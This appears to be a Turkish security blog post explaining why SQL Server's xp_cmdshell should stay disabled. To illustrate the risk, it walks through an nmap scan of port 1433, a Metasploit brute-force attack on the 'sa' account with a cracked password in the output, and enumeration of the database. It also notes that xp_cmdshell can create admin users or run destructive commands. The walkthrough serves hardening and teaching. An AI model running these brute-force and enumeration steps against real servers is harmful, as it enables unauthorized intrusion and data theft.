xp_cmdshell Nedir? Neden aktif edilmemelidir?
Günümüzde son yillarin en tehlikeli virüslerinden biri olan kripto (ransom) virüslerin, SQL Server kurulu sistemlere eristikten sonra sifreleme yapabilmesi için sql servislerini durdurmasi gerekir.
Günümüzde son yillarin en tehlikeli virüslerinden biri olan kripto (ransom) virüslerin, SQL Server kurulu sistemlere eristikten sonra sifreleme yapabilmesi için sql servislerini durdurmasi gerekir.
SQL Server servisleri aktif çalisir haldeyken .mdf ve .ldf dosyalarina disaridan erisilse bile Database dosyalari üzerinde herhangi bir müdahale yapamamaktadir. Bu durum ancak SQL servislerinin durdurulmasi ile yada veri tabani dosyasinin detach islemi ile mümkün olmaktadir. Çalisan sistemlerde SQL oturum bilgisi ele geçirilmis kurbanlarda ilk yapilan islem veriyi çalmadan önce Script çalistirarak detach islemini yaparak veya sifreleme yaparken ise servislerin durdurulmasini saglayarak sifreleme sürecini baslatmaktir. Siber saldirgan veya tarafindan tasarlanmis yazilim SQL sunucuya saldirirken xp_cmdshell prosedürü ile çalisma yetkisine sahip bir kullanici bulmus ise servisi durdurup sifrelemeyi baslatacaktir.
xp_cmdshell, SQL Server platformu içinden isletim sistemi cmd komut satirina komut göndermeyi ve çalistirmaya imkan saglayan stored procedure'dür. Bu özelligi sayesinde isletim sistemi cmd ekraninda yeni bir kullanici açip, full yetki verebilir, sisteminize format komutunu göndererek her seyi silebilir veya basit bir keylogger da yapabilir. Sql server default kurulumlarda bu eger degisiklik yapmadiysaniz, kapali gelmektedir. Fakat kontrol etmek isterseniz, Database'in genel ayarlarinin oldugu Master veritabanina asagidaki komutlari yazarak sonuçlarini görebilirsiniz. Eger config_value degeri sifir (0) ise bu özellik kapali, bir(1) ise açik demektedir.
USE master; GO EXEC sp_configure 'show advanced option' Simdi xp_cmdshell ile yapilabilecekleri test edelim. Öncelikle nmap kullanarak sistem veya sistemler üzerinde kurulu Database ve türlerini tespit edelim. Asagidaki komut ile
# sudo nmap -sT -sV 10.1.1.1 -p 1433 -PN
Starting Nmap 6.1 ( ) at 2012-01-29 21:53 EET
Nmap scan report for 10.1.1.1.dynamic.ttnet.com.tr (10.1.1.1)
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2012
database tespiti yaptik. Microsoft SQL Server 2012 servisi çalismaktadir. Mssql sunucularda en yetkili kullanici “sa” dir. Bu hesap ile, MSSql server en yüksek yetkilerle yönetilebilir. “sa” hesabina yönelik brute force denemesi yapiyoruz.
#msfconsole
msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 10.1.1.1
RHOSTS => 10.1.1.1
msf auxiliary(mssql_login) > set USERPASS_FILE /home/xarxes/pass.lst
USERPASS_FILE => /home/xarxes/pass.lst
msf auxiliary(mssql_login) > exploit
[*] 10.1.1.1:1433 MSSQL – [01/19] – Trying username:’sa’ with password:”
[-] 10.1.1.1:1433 MSSQL – [01/19] – failed to login as ‘sa’
…
…
[+] 10.1.1.1:1433 – MSSQL – successful login ‘sa’ : ‘benimgizliparolam’,
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Üst üste gönderilen parola sifre girisi denemelerine karsi, bir güvenlik politikasi yoksa brute force saldirisi ile parola elde edilebilir. Elde edilen kullanici ve parola bilgileri ile veritabani ve tablo yapisi, veritabani kullanicilari, konfigürasyon parametreleri, mssql’e login olmus kullanicilari ve mssql sunucunun çalistigi isletim sistemindeki kullanici hesaplari gibi bilgiler toplayabiliriz. Bunun için ;
msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(mssql_enum) > set RHOST 10.1.1.1
RHOST => 10.1.1.1
msf auxiliary(mssql_enum) > set PASSWORD gizliparola
PASSWORD => gizliparola
msf auxiliary(mssql_enum) > exploit
kullanarak bilgileri listeleyebiliriz. Gerisini saldirgan veya tarafindan hazirlanan yazilim ile islemlere veya saldirilarina devam eder. Burada xp_cmdshell 'i özellikle kapali konumda tutmamiz için egitim niteliginde bir senaryo çizilmistir. Daha kötüsü de olabilir.